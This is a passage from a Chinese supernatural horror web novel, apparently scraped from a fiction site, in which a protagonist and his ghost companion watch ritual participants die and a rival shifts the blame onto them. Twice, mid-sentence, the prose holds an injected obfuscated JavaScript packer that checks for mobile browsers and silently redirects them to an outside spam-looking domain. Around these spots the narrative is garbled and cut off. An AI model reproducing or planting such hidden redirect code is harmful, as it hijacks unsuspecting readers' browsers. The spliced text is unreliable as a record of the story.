随后他整个人一哆嗦,连连退后几步—— 门槛上方,倒挂着一张煞白的人脸。 它的五官大小不一,像是小孩子随意揉成的,一大一小两只眼里盛满恶意。 见关鹤连连往后退,它咧开嘴巴,露出黑黄稀疏的牙齿,正准备尖笑—— 嗖! 方休大步上前双手抱篮球一样逮住那个脑袋,借着体重往地上拉,甚至还蹦跶着使力,如同倒挂拽萝卜。 那脑袋疯狂挣扎,然而一阵喀啦啦的脆响后,它竟被方休拽了下来。 黑暗之中,它的身体窸窸窣窣爬走,方休怀里的脑袋抖动几下,没了动作。 围观众人:“?” 方休脸上露出几分难过的神色:“可惜了,脑袋肉太少。” 围观众人:“……” 关鹤突然有点疲惫,连害怕都提不太起力气,他隐约觉得刚才似乎没必要后退。 仔细想想,那东西好像只是丑了点?丑点好像也没什么…… 如此,热闹的夜晚正式开始。 成松云点燃了室内的烧水炉,打算弄出一些照明。 火光摇曳中,一双青白的脚顺着明暗靠近——被火光映亮,它便停。阴影降临,它便悄无声息地移动。 时间一分一秒过去,它离成松云的后背越来越近,随后…… 啪。 方休发动异象技能,径直点亮房内电灯。暖白灯光瞬间照亮每一个角落,那双断脚不知所措,僵在原地。 方休抓起被单,一个前扑,把它逮了个正着。 鬼脚兔子一样疯狂扑腾,可惜它的脚指甲不够尖锐,抠不破结实的被单。 伴随着梅岚的“驱邪甘露水”淋下,那双脚蔫了下去。方休用麻绳把它穿好,和刚才的鬼头一起挂在墙上,紧挨着挂起来的大蒜和辣椒。 怎么说呢,乍看还挺和谐。成松云欲言又止,最终也没说什么。 白双影嘴角微抽:“不必如此。” 方休坚定:“头和脚看着就不好吃,先当储备粮放着。 他这边说着,关鹤趁着有电,打开了老式电视机。 滋滋雪花声中,一个扭曲黑影模糊显现。关鹤懒得尖叫了,他和那黑影对视片刻,转头招呼方休:“方哥,这里也有! 五分钟后,鬼腊肉下方多了个满满的腌鬼坛子。一只半透明的鬼手从坛子口挤出,无力地拍着坛壁,动作极尽委屈。 方休抹抹头上的汗,丰收的喜悦油然而生。 这东西看起来还不错,滑溜溜软绵绵,白双影饿了可以直接吃。 厄的周遭阴气充足,入夜果真邪祟多。不过,白双影说白天邪祟稀少……白天的时候,它们去了哪里呢? 方休扯了扯挣扎的鬼手,陷入沉思。 另一边,关鹤顺利调好电视,第一个跳出来的节目就是新闻联播。主持人铿锵有力的语气中,众人陷入短暂的沉默。 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吕扬这边还在冥思苦想,其他人已经吵了起来—— “肯定是你的问题!”白天的文艺男满脸阴云,指向唇钉男的鼻子,“你白天犯了忌讳,才招来这么多邪祟!” 眼镜男推推眼镜:“我也觉得,姜大师那边就没什么邪祟。” 唇钉男伤口没好,本就疼得心烦,见状直接一声吼:“说你祖宗呢说,屁本事没有放屁倒是响,你当我想犯忌?” “要么你俩去客厅住。”角落里传出一个阴沉的女声。 “我不去能怎么着?” “这样大家都没法休息,还解个屁的厄!” “啊啊啊啊鬼还在扯我的头发!” 吕扬被吵得一个脑袋两个大。他忍不住捂住耳朵闭上眼,可他刚动手,一阵寒风钻进了他的脖颈,像是有谁在吹气。 与此同时,黏糊糊的东西淌出他的耳朵。太凉了,不是血。它缓慢而用力地蠕动,散发出可怕的腥臭。 “有完没完!”吕扬近乎崩溃,“你们都不去我去!” 说完他卷起被子,直奔客厅沙发。文艺男见状来了劲儿,拉着眼镜男跟上。其余几个没出声的人也默默尾随,很快,卧室里只剩下那对情侣。 唇钉男拉开窗帘,窗户外还是贴满了脸。它们笑得更加夸张,变形的瞳孔被玻璃压得平平的,黏液缓缓流淌。 “**。”他哆嗦着骂了两句,猛地拉上窗帘,背起背包。 卷发女泪眼朦胧:“宝宝?” “咱不在这待了,什么狗逼祭祀。”唇钉男骂道,“那群废物一个都指望不上,还玩个屁。” 卷发女:“可是外面很危险,我们要不去求姜大师吧。” “求求求的,有啥用?那黄符不是不管事吗?”唇钉男叫道,“我看他根本懒得管!还不如出去闯闯,说不定那群东西只在屋子里闹呢。” 卷发女全身发抖,她本能地觉得不该脱离大部队,不该离开这个院子。 可是她的头发凭空一紧一紧,有什么看不见的东西不停拉扯,用力把她往房梁的方向拽……她想逃,她受不了了。 犹豫之间,唇钉男看着她的目光逐渐不善:“咋的,你也嫌我晦气?” “不是的宝宝……” “你要么跟那帮人混,要么跟老子走!” 不一会儿,两人背起背包,在同伴的注视下推开屋门,离开了正房。吕扬忍不住问了一句“去哪”,唇钉男理都没理他,头也不回地走了。 院子外的树林意外正常。 月光很亮,树木沙沙作响,虫鸣声异常清晰。周遭没有邪祟的痕迹,抬眼往远处看,甚至能看到远方城镇的明亮灯火。 卷发女少了只鞋,走得一瘸一拐。走了没几分钟,她就痛叫一声,脚底刺入了一小节枯枝。 “宝宝我走不动了,你背我。”见没有邪祟出现,她的情绪好了一点儿。 唇钉男不言不语地弯下腰,让女友爬上背。卷发女抱住他的脖子:“现在没有鬼抓我的头发了,宝宝说得对,那群鬼只在院子里混,他们居然冤枉你!” “所有怪事都是在院子里出现的,肯定是那个院子有问题。宝宝咱们待会儿要是真的走不了,也可以在林子里搭个树屋……” “……宝宝,你怎么不跟我说话呀?” 嘟囔了数分钟,卷发女突然察觉到不对。她的男朋友**静了,安静得不同寻常。 凉风吹动了她的发丝,随即吹疼了她的皮肤。狂风之中,卷发女逐渐无法呼吸。 可背着她的唇钉男还在大步前进,像是完全没受到影响。 “宝、宝宝……” 卷发女抬起头,她发现,男友的脸不知道什么时候转了一百八十度——他仍背着她,却也面向着她。 他的瞳孔早就散了,嘴角咧着夸张地笑容,口中一片漆黑。 第 66 章 观察日记 第66章观察日记 【遥远星辰。】 安排好了人类的窝,白双影正式启动观察大计。 方休显然很喜欢这个地点。他在火炉边烤热了罐头边吃边看了会儿电视。 热乎乎的晚餐后人们熟练地分为两组——上半夜方休和黄毛守夜;下半夜阴气变淡,关鹤、成松云和梅岚接力探索。 这才是第一晚,他们打算先在室内打个防守战。 黄毛无所事事地负责武力防守方休专注地观察邪祟,白双影专注地观察方休。 夜深人静 比如此刻,一堆邪祟在正房窗户外面叠罗汉。它们把脸狠狠按在窗户上,屁股在外面翘得高高的,姿势看起来一言难尽。 方休热情洋溢地守了十几分钟不满道:“它们怎么不过来?” 多新鲜的鬼粮啊可惜它们独独瞧准了新人住的卧室。别说它们不往厢房这边走,连姜寻那边**的邪祟也没几只。 真是旱的旱死,涝的涝死。 白双影不禁看向墙上挂着的鬼腊肉,一时无言。 黄毛幸灾乐祸:“挤成这吊样,那群小屁孩得吓死。你说他们啥时候过来求咱?” “我想不会。”方休随意应道,剥了颗糖果塞进嘴。 要是真正意义上的聪明人,肯定不会放弃接触他们。就算新人们不愿全盘相信成松云的科普也该知道残酷祭祀中“杂牌队伍”的含金量。 可新人们仍然选择了看起来更强悍的独行侠。 也就是说,“杀伐果断的强者”更符合这群新人的审美。 这种“强者”有个很有意思的地方——身边弱者受难,他们不一定插手;但身边弱者在眼皮子底下投奔他人他们极有可能感觉到被冒犯。 所以不到万不得已新人们不会贸然上门求助。 方休眼看着正房的西房火光明明灭灭。一阵模糊的争吵声后,最终两个身影打开房门竟然要离开正房。 月光照亮了两人的脸正是白天出尽风头的那对情侣。他们进入院子的瞬间所有邪祟隐入阴影无数寒光在黑暗中闪烁。 连黄毛都惊了:“不是他俩大晚上往外跑?!” 他们这种搞定三次祭祀的队伍第一晚都要按部就班搞防守! 方休起身:“你在这里继续看守我出去看看。” “方哥你要出去救人啊?没必要吧?”黄毛震惊。 方休眨眨眼:“他俩行为太反常了我得看看怎么 回事。” 想到方休以隐藏能力见长,黄毛嘭嘭拍着胸口:“方哥放心去,邪祟过来一个我拧死一个!” 于是几分钟后,月色之下,一人一鬼悄悄尾随那对情侣。 “夜晚离开房屋,没有异常。” “夜晚离开院子,没有异常。” 隐藏之中,方休轻声嘀咕着情况,“就是晚上这树林……唉。” 月光很亮,树木沙沙作响,虫鸣声异常清晰。 同样清晰的还有高高低低的呓语,无数声音念叨着听不懂的音节,在夜色中凝成阵阵寒气。远方城镇灯火明亮,恍若另一个世界。 和院落中的情况不同,再没有邪祟突然蹦出来吓人。 树影摇晃不止,黑色的轮廓中带着可疑的异常凸起。离院子越远,那种针扎般的寒意越强。夜风吹过枝头,方休几乎分不清那是阴气还是普通的风。 方休本能地绷紧脊背,握紧了白双影的手。如今白双影被他的体温烘热,恍惚间给人一种温暖的错觉。 可走在前面的那对情侣分毫不慌,仿佛外界一切与他们无关。 发现那男人的动作越发僵硬,方休忍不住皱起眉头:“那个男的……” “**。”白双影言简意赅道,“方才他离开正房时,便是**一个。如今他还能动,只是尸身被邪祟占了去。” 方休忍不住吸了口凉风,进入祭祀以来,他还是第一次看到这么古典的邪祟。 他们说话的当口,卷发女正对着那具尸体撒娇,要它背她。秋夜寒凉,她还没来得及发现男友的冰冷。 尸体顺从地背起了活人,一路朝狂风边界前进。临到风墙边,它还没有减速的意思。 方休眉头皱得越来越紧。 他不打算专门救那群新人,可他也不想眼睁睁看人死在眼前——面前的情况怎么看都很不自然,他还有问题要问卷发女。 然而方休刚打算出声提醒,一只冰冷的手掌直接捂住了他的嘴巴。 白双影把他死死压在怀里,手臂紧得像铁箍。他的鬼胸口没有呼吸,那个瞬间,方休有被人关进了钢铁棺材的感觉。 下个瞬间,那对情侣冲入风中。 卷发女的惊叫戛然而止。 方休眼睁睁看着他们倒在地上。不过几十秒的工夫,两人躯体水分迅速流逝,飞快化作干尸的模样。最终,伴随着一阵阴风,两具干尸被轻飘飘推回了风墙内。 尸体的眼球瘪了下去,口部微微张开。身上的衣服被风扯得七零八碎,鞋子和背包摔在一边。朦胧的月光下,它们看起来就像两丛枯死的树枝。 方休屏气凝神,原地不动。 那两人踏入风墙的一刻,他就明白了为什么白双影 要控制住他——无数只邪祟自黑影中冒出,它们掠过方休身边,争前恐后冲上前。 两具尸体刚被风墙送回,邪祟们便一拥而上。 它们像是饿疯的狼群,瞬间把干尸扯成碎片。那对情侣的生魂、肉身甚至于衣物,全被这群邪祟吞吃一空,连根头发丝都不剩。 吃完后,邪祟们还不忘记捡起无法入口的金属、塑料等残骸,远远丢出风墙。 没有血迹、没有遗骸,两人的下场堪比人间蒸发。要不是方休亲眼见证这一切,他自问猜不出这么残暴的“消失”方式。 方休垂下眼,像是在默哀。 白双影依旧捂着方休的嘴,他的手指差一点盖住方休的鼻子,方休温热的呼吸一下下喷在他的手指上,又软又烫。 白双影有些期待地捏着他的人类——想要救人而不成,方休又会是什么反应? 半晌,方休叹了口气。 “看来这里的邪祟待遇不太好啊。” 白双影花了几秒钟,才确定自己没有听错。 “谢谢你拦住我,不然它们光踩也能把我踩死。” 方休心有余悸地拍拍胸口,“……对了,要不要和我一起散步?今晚的月色特别漂亮,不散步好浪费。” 白双影:“……” 他之所以愿意随方休出来,就是要让方休亲眼见证“贸然离开这里”的后果,好让他的人类更坚定地待在窝里。 ……你走不掉的,但是你看,我可以保护你,只有我能保护你。 ……你不必走的,这里有你需要的一切,作为交换,你也要交给我你的一切。 多么完美的计划,但这个轻松的反应是怎么回事? 方才邪祟们在你面前吃干净了两个人!见到这般激烈的场景,方休怎么还想着散步? 见白双影不动弹,方休:“你不愿意的话,我们这就回院子……” 白双影忍气吞声:“愿意。” 方休眼睛一亮,他抓住白双影的手腕,朝月光最明亮的方向走。 白双影百思不得其解地跟在后面,从自己的对人类的了解怀疑到方休的人性水平,怎么都想不出答案。 尽管有白双影的隐藏遮蔽,夜晚在外游荡的邪祟也不少。 方休神色如常地跨过一条条美女蛇,无视了树枝间蹲坐的独眼鸟。他在月色下伸展身体,享受地晒着月亮,然后反手打飞要扑面而来的巨蛾。 “这是我目前为止最喜欢的祭祀。”方休扒拉开趴在树桩上的骷髅,自己放松地坐下。 骷髅邪祟看不见隐藏状态的方休,骸骨脑袋在地上转来转去。方休顺势伸出手,在它的颅顶拍了两下。 骷髅陡然被烫,吓得原地一震,字面意思上地滚 远了。 方休惊叹:“胆子真小。 白双影无言以对,缓缓坐在方休身边。 方休显然误会了白双影眼中的憋屈:“别担心,刚才的事情不是邪祟搞的,我不会莫名其妙在房子里暴毙。 白双影当然知道是怎么回事。他先前缄口不言,此刻只能干巴巴地“嗯。 方休当他不明白,耐心道:“目前看来,院子里的邪祟是最弱的。它们要是有悄无声息**的本事,完全可以趁着附身大开杀戒,而不是朝院子外面跑。 “**附身的选择也很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705297|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有趣——那个唇钉男反复犯忌,人缘一般。就算他举止诡异,那群新人不可能冒险阻止;另一方面,眼见他行为失常,大家也只会怀疑祭祀相关。 白双影继续闷声装傻。 “比起邪祟自行害人,这更像某人利用新手测试死忌。起码现在我们清楚了,‘不要走入风中,否则会死’。 “多半如此。白双影无奈地表示。 **控尸的事情,确实是那个姜寻干的。 白双影在唇钉男身上嗅到了黑.道士的术法臭气。他没有立刻表明,只是为了使得境况看着更诡异,模糊方休对禁忌的判断……结果这事儿瞒了多久?有一炷香么? 这才第一天,方休就把死忌找出来了。 为什么他的人类不能笨一点? 白双影有些颓丧,半边身子有融化成本体的趋势。 直接下手妨碍肯定不行,要怎么让这个人类老实待在窝里呢…… 他的身边,方休抬头看向星空:“哎呀,猎户座真清楚。 “猎户座?白双影机械地回应。 “古代叫参宿,不过是说中间那三颗星。 方休指向天空,“城里灯光太亮,平时看不见,我都忘了上次看到它是什么时候了。 “只是些星星罢了。 白双影看向漫天星辰,它们与他相伴良久,此前他并不关心它们的名字。 星斗只不过是星斗。就算人类用各种各样奇怪的名字呼唤它们,它们也不会回答。 方休早就习惯了冷冰冰的鬼言鬼语,他平和地继续:“它们的光芒到这里要一千多年呢。其实我们看到的是它一千多年前的模样,是不是很有意思? 白双影僵住:“?! 这个他确实是第一次听说,他还以为星辰天生长得比月亮小一点。 “……就算它现在死去,往后一千多年,我们仍能看到它。 方休抬头看着明亮的星辰,“你觉得‘过去的残影’,算不算‘那颗星星还存在’? 白双影不知道该怎么回答,他还沉浸在“星星居然很远的震惊之中。 可是方休非常 认真地看着他,固执地等待他的答案,仿佛这个无关紧要的问题无比重要。 白双影沉默良久,还是答了:“它还在。” “为什么?” “因为我还能看见它。” 白双影老实地回答,“如此说来,生灵死后魂魄徘徊,不过也是星灭似的残像。执念散尽前,它们总归存在。” 方休:“不能这么类比吧,它们还能成厉鬼,或是修鬼仙。” “星辰熄灭后,也未必消失于世。”白双影不太确定,但他直觉它们不会真的消失。 方休安静地看着他,眼中情绪有些复杂。 白双影突然福至心灵:“你该不会已经**?” 如果方休是个精心伪装的邪祟,完全可以解释他对于人类死亡的平静,以及面对邪祟的坦然。 白双影一把按上方休的胸口,试图在心跳中寻找纰漏。 方休:“……” 方休噗嗤笑出声:“……随便摸,保证活着。” 他双手抓住白双影的手腕,往心窝处移了移。 白双影抚摸半天,没发现半点阴气或术法。方休确实是如假包换的生魂,心跳坚实有力,就是有些快。 “也好。” 感受到掌心温暖的搏动,白双影咕哝一声。 方休松开他的手,眼中那股复杂情绪没有了,变成盈盈笑意。他整个人靠上白双影,又开始观赏那些星星。 白双影看向天空的目光则充满狐疑,他怀疑自己看到了很多星辰的残魂。 不一会儿,方休观赏的目标就从星空变成了白双影,白双影听到了此人憋笑的声音。 终于,第四次被不长眼的邪祟干扰后,方休伸了个懒腰:“回去吧。” 白双影唔了一声。 一夜下来,方休知晓了死忌。他只学到关于星辰的怪异知识,就很亏。 下次还是不要这么干脆地出来了,他心想。 临走前,方休回头看了眼树林:“这地方真适合散步,邪祟也比院子里丰富……我已经开始舍不得这里了,唉。” 下次还是干脆地出来吧,白双影又想。 第 67 章 反派角色 第67章反派角色 【自由活动。】 那对情侣离开后,吕扬到底没睡着。 一半是因为心里不舒服。 他本来只想跑到客厅睡,好歹离姜大师近一点。结果其他人纷纷跟着他搬来客厅,活像他在带头孤立那对情侣。 另一半则是因为邪祟们依旧活跃。 它们并非因为唇钉男犯忌而来,情侣离开后,所有人仍然沉浸在恐惧的海洋中—— 冰冷的碰触和吹气、原因不明的流血,这些只是最最基本的异象。 更恐怖的是余光之中那些角落,沙发缝隙、茶几脚下、凌乱的杂物深处。他总能看见类似人脸的部分,尤其是翻着白眼的无神眼眸。 古旧挂历上,年画娃娃的瞳孔随着他们的动作移动。众人惊恐的呼吸声中,时不时传出一声不合时宜的低笑,莫名其妙的杂音不绝于耳。 就像把十几部心理恐怖片塞进榨汁机打碎,一股脑喷在了这间老屋里。 邪祟们没有直接出手伤害他们,却让人一动都不敢动,恨不得闭上眼睛原地装死。 “妈的,晚上太要命了,白天再睡吧。长发文艺男低骂一句,干脆点亮了客厅的蜡烛。 吕扬对这个人印象挺深。 此人自称“阿桥,是那种非常标准的文艺青年。阿桥平时很喜欢谈论小众电影和小语种书籍,更喜欢炫耀自己八小时讲不完的情史。 只是进入祭祀后,阿桥立刻改了他的低哑气泡音,时不时要飙两句脏话。 “要不要出去把那俩叫回来? 这一位名叫卢苇。他平时沉默寡言,看着像那种只沉浸在自我世界里的人,吕扬跟他不太熟。 “叫回来干什么,他俩还不够烦?阿桥皱眉。 “假设那个大婶没说谎,队伍里的人还是越多越好,总要有人去试禁忌。卢苇表示。 阿桥冷笑:“外头全是鬼,谁爱去拦谁去拦。我只能说人各有命,那俩留在队里也是纯坑。 吕扬感觉这样放弃队友太过轻率:“好歹是两个人……要不咱们问问姜大师?要是姜大师不帮忙,再找厢房那边的队伍? 那个成阿姨态度很亲切,他本能地觉得她不是什么坏人。 谁想话刚出口,阿桥和卢苇就投给他轻蔑的眼神。 “你以为人家真想帮咱们啊。阿桥摇头。 卢苇:“老手肯定希望别的队伍先试禁忌,我们这种新人最吃亏。两边都未必安好心,还不如投靠更强的。我们倒向姜大师,就算站队了。 吕扬大概明白他们的意思。 姜大师孤身一人,一定 有用得着外援的地方,可以顺手保保他们。另一队本身就有五个人,舍弃他们不要太轻松——人不为己天诛地灭,难道要他们指望陌生人的道德? 话是这么说,他还是模模糊糊觉得哪里不太对劲。可惜久久未睡,吕扬的脑袋里只剩一团浆糊,几乎无法思考。 他嚅动嘴唇:“好的,那不找厢房队伍,咱们去问姜大师…… “**,都**! 队伍里的阴沉女突然抱住脑袋,发出低哑的嘶鸣,“他们被鬼吃掉了,什么都不剩—— 客厅内登时一阵死寂。 阴沉女的地府支援是“死亡录像,她能看到死者死亡时的具体场景。 他们知道大晚上出门凶多吉少,但没想到那两个人死得这么早。那对情侣再不清醒,手里好歹有地府支援,再怎么说也该有反抗能力。 卢苇第一个站起身,再次敲响东边卧室的门:“姜大师,姜大师,出事了——! 东边卧室寂静无声。 吕扬脑袋麻了一下,他不再顾忌什么礼貌不礼貌,冲过去和卢苇一起砸门:“大师,**了,救命啊! 卧室内仍然没有反应。 阴沉女全身发抖:“刚才、刚才出门前,就**一个……是尸体把人带出去的,是尸体…… 阿桥脸色煞白:“你怎么不早用能力看?! “用能力要消耗体力,我又不知道他们死得这么快!阴沉女尖声叫道。 她像是刚跑完两千米,全身衣服被汗水湿透,累得仿佛下一秒就要散架。 吕扬的拳头顺着木门缓缓滑下,想到刚才唇钉男头也不回离开的场景,胃里仿佛滑入一块冰。 同伴不知不觉变成了尸体,当着他们的面把活人骗走……唇钉男是什么时候死的?**的?在场竟然没有一个人发现! 他原以为房间内至少能保命,现在一看,哪里都不安全。 他的身边,卢苇已然开始撞东卧室的门。可那脆弱的木门像是变成了银行金库大门,无论他们如何用力,它就是纹丝不动。 ……是邪祟的把戏?还是姜大师也遭遇了不测? 吕扬转动着仿佛要生锈的脑子,同时慌乱地扫视四周。晦暗的烛光酿出大量阴影,模糊的轮廓在阴影中蠕动。 有什么湿冷的东西蹭过脚腕,他双脚一软,差点原地瘫坐。 “去另一队看看! 卢苇怎么都敲不开姜寻的门,瞬间把他的“站队论抛之脑后。 没人响应他,大家都在各自的位置缩成一团,恨不得学鸵鸟把头埋进沙子。 “磊哥,大牛,你们去厢房求助。卢苇咽了口唾沫,“你俩的能力偏防御,我们都不行。 这两人的地府支援分别是“黑暗视觉”和“绝对方向感”,最适合夜间行动。眼下外面昏暗无比,要是其他人贸然出门,连路都认不出来。 然而,被点到的两人强烈**—— “大师都没动静,那点能力管屁用啊!” “你什么东西指挥老子,操!” 阿桥站在了卢苇那边:“这他妈是最后的办法,要不大家一起死!” “好渴,好渴……”一片混乱中,阴沉女突然哑着嗓子出声,她抓着喉咙,声音像是干咽了一把沙子。 “水,给我水……” 她全身汗湿,一双眼瞪得圆圆的,像是要**在陆地上的鱼。 吕扬无意中和她对视了几秒,阴沉女眼睛空洞洞的,和挤在各种缝隙里的鬼眼如出一辙。 看着这混乱的场面,吕扬濒临崩溃。恍惚之间,他仿佛回到了他们在无人区迷路的时候。 世界变成了完全陌生的模样,知识和常识全部作废。没人知道该怎么做,只能眼睁睁看着死亡逼近。 吕扬靠着墙壁坐下,双手抱头。队友们的吵嚷震得他耳膜生疼,疲惫和恐惧之中,他甚至听不太懂他们在喊什么,只知道眼泪自行冲出眼眶。 突然,有什么凉飕飕的东西凑过来,疯狂戳他的脸。 紧绷的神经不堪重负、啪地断裂,吕扬原地失去意识。 …… 次日清晨。 成松云下半夜没睡。太阳一出,她便用方休留下的肉食和野菜煮成热汤,又清洗干净了苹果和柿子。 碗橱里的餐具足够。厢房角落有一张上了年纪的折叠桌,积满了灰尘和蛛网。旁边还堆了不少马扎,看着也很久没有动过,好在都能正常使用。 窗外蓝天高远、阳光灿烂,树林中鸟鸣清脆。成松云把桌椅擦了一遍,早餐一摆,气氛越发像样。 方休嗅嗅食物的味道,在自家鬼怀里醒来。 昨晚回屋后,他照例抱着白双影入睡。醒来时,他的脸上还盖着白双影的袖子,袖子凉凉滑滑,十分适合当睡眠眼罩。 好久没有在祭祀中这样放松了。 方休睁开眼,光明正大欣赏了自家鬼好一会儿,又把脸埋进白双影的衣袖,吸了几口清新的草木香。 “早上好啊。”他在袖子里闷闷地咕哝,懒洋洋地伸展四肢。 “嗯。”白双影摸摸方休的发顶。 成松云擦擦手上的水,热情道:“醒啦,来来来,趁热喝汤!” 晨光之中,热汤白汽悠然上升。水果上的水滴折出钻石般的碎光,看着鲜嫩诱人。 黄毛打了个巨大的哈欠,眯着一双眼蹭过来:“今儿我再出去逮俩兔子,咱也换换口味……对了方哥,昨晚你 跟那俩人出去,瞧见啥了?” 其余三人还不知道有这事,大家边吃饭,边好奇地瞧方休。 方休喝了口热汤,随意道:“院子外面邪祟太多,跟丢了,在外面转了两圈没找到。” “不过夜晚外出不犯忌,难点是应付那群邪祟。院子外头的邪祟比院子里面的强,大家尽量不要晚上外出。” 方休语气如常,任谁都听不出里面掺了假话。 果然,其余四人对方休的话照单全收,继续一派和平地吃早餐。 方休坐在小马扎上,吃得比在解厄塔还要认真,全然不见之前几次祭祀的紧张感。白双影的目光从此人的头发丝扫到脚趾,越发弄不懂方休为何说谎。 黄毛率先有了想法:“你们说这里有水有电有吃的,咱要不多待两天?” “很适合休息。”梅岚少见地附和。 成松云不太同意:“死忌还没找着呢,哪能这么放松?” 可关鹤并未声援她,他扒拉着有点缺口的碗,低头沉思。 方休啃干净一根鸡腿,冲成松云笑了笑:“我也觉得不用太着急,张弛有度比较好。” 之前三场祭祀实在刺激,他不得不快节奏应对。相比之下,这地方真的适合喘口气……也很适合做一些特定的事情。 脚踝附近却又腾起一阵凉风,方休用鞋背蹭了蹭裤脚,面色如常。 成松云闲不下来:“那我白天去树林转转,多备点吃的。小方你想做什么做什么,不用操心杂事。” “要是有异常,我会记下来告诉你。”她郑重地补了句。 “我一起去。”关鹤突然开口。 黄毛:“我还要出去逮兔子呢,总得有人看家吧。” 梅岚接话:“那我今天就不出去了。” 方休等大家七嘴八舌讨论完,才悠然补充:“今天我也不打算出去,就在院子里调查。正好,这样我和梅岚还有个照应。” 梅岚抿抿嘴唇,她看了方休一眼,没有多说什么。 今天的天气极佳,早上又喝了热腾腾的鸡汤,方休心情好得要命。他们这边一夜无事,也不知道正房那边怎么样。 他哼着小调,打开厢房的门……然后小调戛然而止。 关鹤见方休脚步顿住,跟着凑上去看,这一看不要紧,他整个人往后弹了两步,一屁股坐在床上:“外、外面——” 外面境况堪称惨烈。 一个姑娘死在手摇水泵前,她双膝跪地,张嘴咬住了出水口的水管。出水口就这样从她的口部刺入,贯穿了她的后脑。 她的双手死死扒住水泵,貌似挣扎反抗过。但她的手臂和脖颈布满横七竖八的勒痕,像是被什么狠狠拉扯,让她无法逃脱。 一个男人死在柿子树上。他四肢折断尸体以一个诡异的姿势卡在粗壮的树杈间内脏顺着被撕开的腹部流下。 另一个男人则用流下的肠子当了绞索把自己吊死在半空。他的脚离地半米脚下什么都没有鬼知道他踩着什么上的吊。 他的右脚上的鞋子消失不见一只赤脚在晨风中轻轻摇晃。失禁的秽物混上鲜血给秋风染了几丝异味。 秋高气爽的美丽景象中三具尸体尤其扎眼。 方休:“……哇。” 他确确实实吃了一惊。真正的死忌在院子外面呢这群人能死得这么诡异也算是一种本事。 白双影盯着方休他急速转动思绪提前打好了腹稿。 他一眼便能看出这些人死于邪祟作祟。若是方休询问他这些人的死因他可以描述得恐怖一点让方休谨慎再谨慎…… 然而在他跃跃欲试的注视中方休拍拍成松云:“成姐待会儿咱们一起去正房看看。” 经历过三场祭祀成松云成为了经验丰富的现实主义战士。面对这样血腥的场面她很快恢复平静:“没问题。” 白双影用力盯着方休。 “等我们回来其他人按照原计划行动。记得不要乱碰奇怪的东西也不要随便和人动手。”方休说。 其他人多多少少也回了神关鹤做了好几个深呼吸强迫自己扫视外面的景象。 白双影继续盯着方休。 方休扯了扯身上的红T恤确保上面没有太多皱褶。 随后他终于转向白双影不好意思地挠头道:“这次的人我都不认识不知道生魂什么情况……没法帮你挑好吃的抱歉啊。” 自始至终方休都没有询问那三个人是**的。 白双影失落地收回目光开始琢磨新的吓人手段。他的目光刚转开方休皱起鼻子忍不住扭了扭嘴角。 方休和成松云一到正房便受到了新人组不该说新人幸存三人组的“热烈欢迎”。 三个新人失魂落魄地缩在屋内看都不看他们一眼。姜寻站在正房的门内隐隐挡住方休一行人的路。 姜寻朝他们微微皱起眉:“来了?” 这话味道有些奇怪不过方休还是保持了微笑:“过来看看。” “你们做的事情 “你们在那个男孩身上动了手脚故意让他们测试禁忌。可惜昨晚他们没有反应过来甚至还想出门求助你们……” 说完他意味深长地扫了眼门外三具尸体。 成松云听得眉毛都竖了起来:“不是我们……” 方休无视了污 蔑部分,满脸好奇:“他们和你睡一个屋子,干嘛要绕道求助我们?” “昨晚我与邪祟缠斗,无暇应对。”姜寻说。 方休:“好惨,我们这边一夜平安呢。要不今晚换换,我们住正房?” 姜寻:“……” 成松云心里窝火:“小方,咱得把话说清楚,我们没有——” “没用。”方休干脆道,“这家伙把自己干的破事安咱们身上,他怎么可能承认。” “顺便,如果我没猜错,那位‘能看到死亡过程’的人八成也**。这样某人接下来再动手脚,就没人能发现啦。” 姜寻嗤笑一声,气势逼人:“挑拨离间就免了。” 方休扫了眼惴惴不安的新人们,安详道:“随你怎么说。” “对了,记得把尸体收好,水泵大家都得用。要是下午还不管,我们只能代劳。” 可惜,看姜寻这态度,他们很难顺风顺水地调查正房。 方休叹了口气,转身离开。 吕扬朝着方休的背影看了许久。 昨晚他在墙边晕倒,再醒来时是清晨。那个时候,客厅里只剩下阿桥和卢苇,以及吓**的静寂。 根据阿桥的说法,昨晚阴沉女嚷嚷着渴,发疯一样冲到屋子外面。由于她的“死亡录像”技能珍贵,磊哥和大牛还是跟着出去抓人了。 然后这三人一去不复返,变成了院落里死状可怖的尸体。 说实话,之前哪怕被邪祟团团包围,吕扬心底还有一丝希望。方休的队伍还剩足足五人,其中啥人都有,可见祭祀其实没那么可怕。 至于姜大师,大抵是嫌队友拖后腿,或者运气不太好。大佬的世界,谁又知道是怎么回事呢? 总之他们都是年轻人,之前也组过队,怎么说也不至于太惨。 ……然后一夜之间,他们失去了五个同伴。 今早,姜寻满身疲劳地出现,自称跟邪祟搏斗整晚。听完阿桥他们的描述,他笃定是方休一行人动了手脚。 他又给新人们塞了几张护身符,让他们跟紧自己,不要单独行动。 阿桥和卢苇哆哆嗦嗦接过符纸,忙不迭道谢。吕扬却觉得有点不舒服,真要说控制,难道姜寻不也有同等嫌疑? 可他手里没证据,姜寻又确切地帮过他们,他不敢质疑。 吕扬低下头,摩挲着姜寻发给他们的护身符。 黄纸之上,朱砂画着陌生而繁复的符号。它就在他的手里,可他对它的效果一无所知。 **要信谁,也不知道该怕谁。但他知道,目前他能做的事情—— 吕扬发动了支援技能。 院子里的三具尸体活动起来,自行恢复站立姿势。它们僵着膝盖, 以一种奇怪的姿态趟地前进,进入了空着的那一侧厢房。 那边有一间空荡荡的杂物间,里面只有水泥地板和四面墙壁。吕扬让尸体自己躺了进去,然后把那间房死死锁住。邪祟附身尸体这种事,他不想再经历一遍了。 做完这一切,吕扬揉揉红肿的眼睛,看向窗外的秋色。 